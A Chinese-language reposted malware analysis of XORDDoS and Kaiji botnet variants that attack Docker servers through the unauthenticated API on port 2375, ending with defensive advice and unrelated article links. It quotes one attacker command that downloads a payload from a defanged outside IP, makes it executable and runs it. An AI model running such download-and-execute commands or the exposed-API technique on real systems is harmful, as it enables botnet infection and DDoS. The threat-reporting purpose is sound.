Linux僵尸网络最新变种现身:Docker服务器惨遭殃及

本文主要是介绍Linux僵尸网络最新变种现身:Docker服务器惨遭殃及,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

研究人员近期发现了2个攻击Docker服务器的Linux僵尸网络的变种,分别是XORDDoS 恶意软件和Kaiji DDoS恶意软件。将Docker 服务器作为目标是XORDDoS和 Kaiji恶意软件的新变化,之前这两款恶意软件的目标是云系统中的Linux 主机。最近Kaiji首次被曝影响物联网设备。攻击者常常使用僵尸网络在扫描了SSH 和Telnet端口后执行暴力破解攻击。这两款恶意软件也搜索了暴露2375 端口的Docker服务器。2375端口是Docker API使用的一个端口,用于非加密或非认证的通信。

这两个恶意软件变种的攻击方法有明显的差异。XORDDoS 攻击会利用Docker服务器来感染服务器上的容器,而Kaiji 攻击会在感染的服务器上部署自己的容器,用于DDoS 恶意软件的安装。

XORDDoS 恶意软件分析

XORDDoS 恶意软件的感染是从攻击者检索暴露Docker API端口(2375)的主机开始的。奇热然后,发送一个命令来列出Docker服务器上的所有容器。然后,攻击者执行以下命令,用XORDDoS 恶意软件来感染所有的容器:

wget hxxp://122[.]51[.]133[.]49:10086/VIP –O VIPchmod 777 VIP./VIP

XORDDoS payload 使用了其他攻击中的XOR key来加密字符串,以及与C2 服务器进行通信。也可以在自己的机器上创建多个副本作为驻留机制。

Linux僵尸网络最新变种现身:Docker服务器惨遭殃及

图 1.  XORDDoS创建多个副本的代码段

Payload会启动SYN、ACK、DNS等DDoS 攻击类型。

Linux僵尸网络最新变种现身:Docker服务器惨遭殃及

图 2. XORDDoS 启动不同类型DDoS攻击的代码段

恶意软件可以下载和执行下一阶段的恶意软件或对自己进行升级。

Linux僵尸网络最新变种现身:Docker服务器惨遭殃及

图 3. 表明XORDDoS下载和升级自己的代码段

恶意软件会收集以下与发起DDoS 攻击相关的数据:

· CPU信息;

· 运行进程的MD5;

· 内存信息;

· 网络速度;

· 运行进程的PID。

需要注意的是XORDDoS 恶意软件变种中的大多数恶意行为都在之前的恶意软件变种中出现过。

研究人员进一步分析攻击者的URL发现,其他恶意软件也攻击过Docker API,比如Dofloo/AESDDoS Linux 僵尸网络的变种Backdoor.Linux.DOFLOO.AB。

Kaiji 恶意软件分析

与 XORDDoS 恶意软件相似,Kaiji 现在的攻击目标也是Docker 服务器。其运营者扫描了网络上暴露了2375 端口的主机。找到目标后,会部署一个伪造的ARM容器来执行Kaiji 二进制文件。

123.sh 脚本会下载和执行恶意软件payload——Linux_arm。之后,脚本会移除DDoS 操作不需要的其他的Linux二进制文件:

Linux僵尸网络最新变种现身:Docker服务器惨遭殃及图 4. 下载和执行123.sh的查询

Linux僵尸网络最新变种现身:Docker服务器惨遭殃及 图 5. 表明移除Linux二进制文件的代码段

Payload linux_arm是Kaiji DDoS 恶意软件会执行以下DDoS 攻击:

· ACK 攻击;

· IPS 欺骗攻击;

· SSH 攻击;

· SYN 攻击;

· SYNACK 攻击;

· TCP 洪泛攻击;

· UDP 洪泛攻击。

恶意软件会收集以下数据,用于前述的攻击中:

· CPU信息;

· 目录;

· 域名;

· 主机IP 地址;

· 运行进程的PID;

· URL 方案。

如何应对?

恶意软件变种背后的攻击者还在不断地对恶意软件进行升级、加入新的功能,因此可以发起针对攻击入口点的攻击。在云端,Docker 服务器越来越多的成为攻击者的目标。因此,研究人员建议采取以下措施来保护Docker 服务器:

· 保护容器主机安全。利用监控工具来确保容器操作系统中的主机容器的安全。

· 保护网络环境安全。使用IPS和web过滤来提供内部和外部流量的可视性。

· 确保管理栈的安全。监控和确保容器注册表的安全,锁定Kubernetes 安装。

最佳实践:

· 遵循推荐的最佳安全实践。

· 使用安全工具来扫描和确保容器安全。

这篇关于Linux僵尸网络最新变种现身:Docker服务器惨遭殃及的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/778992

相关文章

Linux使用nload监控网络流量的方法

《Linux使用nload监控网络流量的方法》Linux中的nload命令是一个用于实时监控网络流量的工具,它提供了传入和传出流量的可视化表示,帮助用户一目了然地了解网络活动,本文给大家介绍了Linu... 目录简介安装示例用法基础用法指定网络接口限制显示特定流量类型指定刷新率设置流量速率的显示单位监控多个

ElasticSearch+Kibana通过Docker部署到Linux服务器中操作方法

《ElasticSearch+Kibana通过Docker部署到Linux服务器中操作方法》本文介绍了Elasticsearch的基本概念,包括文档和字段、索引和映射,还详细描述了如何通过Docker... 目录1、ElasticSearch概念2、ElasticSearch、Kibana和IK分词器部署

部署Vue项目到服务器后404错误的原因及解决方案

《部署Vue项目到服务器后404错误的原因及解决方案》文章介绍了Vue项目部署步骤以及404错误的解决方案,部署步骤包括构建项目、上传文件、配置Web服务器、重启Nginx和访问域名,404错误通常是... 目录一、vue项目部署步骤二、404错误原因及解决方案错误场景原因分析解决方案一、Vue项目部署步骤

Linux流媒体服务器部署流程

《Linux流媒体服务器部署流程》文章详细介绍了流媒体服务器的部署步骤,包括更新系统、安装依赖组件、编译安装Nginx和RTMP模块、配置Nginx和FFmpeg,以及测试流媒体服务器的搭建... 目录流媒体服务器部署部署安装1.更新系统2.安装依赖组件3.解压4.编译安装(添加RTMP和openssl模块

linux下多个硬盘划分到同一挂载点问题

《linux下多个硬盘划分到同一挂载点问题》在Linux系统中,将多个硬盘划分到同一挂载点需要通过逻辑卷管理(LVM)来实现,首先,需要将物理存储设备(如硬盘分区)创建为物理卷,然后,将这些物理卷组成... 目录linux下多个硬盘划分到同一挂载点需要明确的几个概念硬盘插上默认的是非lvm总结Linux下多

如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别详解

《如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别详解》:本文主要介绍如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别的相关资料,描述了如何使用海康威视设备网络SD... 目录前言开发流程问题和解决方案dll库加载不到的问题老旧版本sdk不兼容的问题关键实现流程总结前言作为

PyCharm 接入 DeepSeek最新完整教程

《PyCharm接入DeepSeek最新完整教程》文章介绍了DeepSeek-V3模型的性能提升以及如何在PyCharm中接入和使用DeepSeek进行代码开发,本文通过图文并茂的形式给大家介绍的... 目录DeepSeek-V3效果演示创建API Key在PyCharm中下载Continue插件配置Con

docker如何删除悬空镜像

《docker如何删除悬空镜像》文章介绍了如何使用Docker命令删除悬空镜像,以提高服务器空间利用率,通过使用dockerimage命令结合filter和awk工具,可以过滤出没有Tag的镜像,并将... 目录docChina编程ker删除悬空镜像前言悬空镜像docker官方提供的方式自定义方式总结docker

linux进程D状态的解决思路分享

《linux进程D状态的解决思路分享》在Linux系统中,进程在内核模式下等待I/O完成时会进入不间断睡眠状态(D状态),这种状态下,进程无法通过普通方式被杀死,本文通过实验模拟了这种状态,并分析了如... 目录1. 问题描述2. 问题分析3. 实验模拟3.1 使用losetup创建一个卷作为pv的磁盘3.

JavaWeb-WebSocket浏览器服务器双向通信方式

《JavaWeb-WebSocket浏览器服务器双向通信方式》文章介绍了WebSocket协议的工作原理和应用场景,包括与HTTP的对比,接着,详细介绍了如何在Java中使用WebSocket,包括配... 目录一、概述二、入门2.1 POM依赖2.2 编写配置类2.3 编写WebSocket服务2.4 浏